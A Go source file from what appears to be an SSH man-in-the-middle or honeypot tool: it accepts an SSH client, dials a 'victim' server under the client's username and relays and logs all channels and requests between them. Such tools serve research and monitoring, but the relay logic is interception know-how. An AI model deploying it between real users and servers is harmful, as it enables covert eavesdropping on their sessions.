/
handle.go
61 lines (52 loc) · 1.42 KB
/
handle.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package main
/*
* handle.go
* Handle incoming clients
* By J. Stuart McMurray
* Created 20160122
* Last Modified 20160122
*/
import (
"log"
"net"
"golang.org/x/crypto/ssh"
)
/* handle handles an incoming client */
func handle(c net.Conn, conf *ssh.ServerConfig) {
/* Log the connection, close it when we're done */
log.Printf("%v Connect", c.RemoteAddr())
defer log.Printf("%v Disconnect", c.RemoteAddr())
/* Make into an SSH connection */
cc, cchans, creqs, err := ssh.NewServerConn(c, conf)
if nil != err {
log.Printf("%v err: %v", c.RemoteAddr(), err)
c.Close()
return
}
/* Dial the victim */
vc, vchans, vreqs, elogmsg := dialVictim(cc.User())
if "" != elogmsg {
log.Printf("%v", elogmsg)
cc.Close()
return
}
defer vc.Close()
/* Shut down the client connection when this one goes */
go func(v, c ssh.Conn) {
err := c.Wait()
log.Printf("%v victim shut down: %v", ci(cc), err)
v.Close()
}(vc, cc)
/* Logging info */
info := ci(cc)
/* Spawn handlers for channels and requests */
go handleNewChannels(vchans, cc, info+" ChanDirection:Victim->Client")
go handleNewChannels(cchans, vc, info+" ChanDirection:Client->Victim")
go handleConnRequests(vreqs, cc, info+" ReqDirection:Victim->Client")
go handleConnRequests(creqs, vc, info+" ReqDirection:Client->Victim")
_ = vreqs
_ = creqs
/* Wait until the connection's shut down */
err = cc.Wait()
log.Printf("%v shut down: %v", ci(cc), err)
}